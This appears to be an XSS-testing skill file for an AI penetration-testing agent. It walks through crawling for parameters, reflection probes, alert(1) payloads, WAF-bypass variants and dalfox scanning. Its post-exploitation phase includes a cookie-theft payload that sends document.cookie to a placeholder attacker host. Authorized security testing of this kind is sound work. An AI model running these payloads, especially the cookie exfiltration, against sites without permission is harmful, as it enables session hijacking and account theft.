xss skill

Cross-Site Scripting (XSS) Attack Skill

When to Classify Here

Use this skill when the user requests testing for XSS vulnerabilities, including:

• Reflected XSS in URL parameters, search forms, or error pages
• Stored XSS in comments, profiles, messages, or any persisted user input
• DOM-based XSS in client-side JavaScript
• Testing WAF bypass for XSS filters

Keywords: xss, cross-site scripting, reflected xss, stored xss, dom xss, script injection, html injection

Workflow

Phase 1: Reconnaissance (Informational)

1. Identify reflection points — Use query_graph to find web applications and HTTP services. Look for forms, search bars, and URL parameters.
2. Crawl for input vectors — Use kali_shell to discover pages with parameters:

   katana -u http://<target> -d 3 -jc -o urls.txt
   grep "=" urls.txt | sort -u > params.txt
   

3. Check Content-Security-Policy — Inspect HTTP response headers:

   curl -sI http://<target> | grep -i "content-security-policy\|x-xss-protection"
   

4. Identify technology — Determine if the app uses a framework with auto-escaping (React, Angular, Vue) or renders raw HTML (PHP, JSP, classic ASP).

Once reflection points are identified, request transition to exploitation phase.

Phase 2: Exploitation

1. Test basic reflection — Inject a harmless canary to confirm reflection:

   curl -s "http://<target>/search?q=redamon1337test" | grep "redamon1337test"
   

2. Test HTML injection — Check if angle brackets are reflected unescaped:

   curl -s "http://<target>/search?q=<b>test</b>" | grep "<b>test</b>"
   

3. XSS payload testing — Try progressively complex payloads:
   • Basic: <script>alert(1)</script>
   • Event handler: <img src=x onerror=alert(1)>
   • SVG: <svg onload=alert(1)>
   • Encoded: %3Cscript%3Ealert(1)%3C/script%3E
4. Automated scanning with dalfox (if available):

   cat params.txt | dalfox pipe --silence --skip-bav
   

5. Stored XSS — If the app has form submissions (comments, profile fields):
   • Submit a payload via POST
   • Navigate to the page where input is rendered
   • Verify the payload executes on page load
6. WAF bypass — If payloads are blocked, try:
   • Case variation: <ScRiPt>alert(1)</sCrIpT>
   • Double encoding: %253Cscript%253E
   • Null bytes: <scr%00ipt>alert(1)</scr%00ipt>
   • Alternative tags: <details open ontoggle=alert(1)>

Phase 3: Post-Exploitation

1. Demonstrate impact — Craft a payload that proves real-world risk:
   • Cookie theft: <script>new Image().src="http://<attacker>/steal?c="+document.cookie</script>
   • Session hijacking proof of concept
   • Keylogging demonstration
2. Test persistence (stored XSS) — Verify the payload survives page reloads and is visible to other users/sessions.
3. Identify escalation potential — Check if the XSS can be chained with:
   • CSRF (forging actions as the victim)
   • Privilege escalation (injecting into admin panels)

Reporting Guidelines

• Vulnerable endpoint, parameter, and HTTP method
• XSS type (reflected, stored, DOM-based)
• Payload that triggers execution
• Context where injection lands (HTML body, attribute, JavaScript, URL)
• WAF or filter bypass technique used (if any)
• Impact assessment (cookie access, session scope, admin reachability)

Important Notes

• Use alert(1) or console.log() for proof — do NOT inject payloads that modify or delete data
• For stored XSS, use clearly identifiable test strings so they can be cleaned up
• Check both the raw HTTP response AND the rendered page — some XSS only triggers in-browser
• If the app uses CSP with nonce or strict-dynamic, note it as a mitigating control
• DOM-based XSS requires inspecting client-side JavaScript — use browser DevTools, not just curl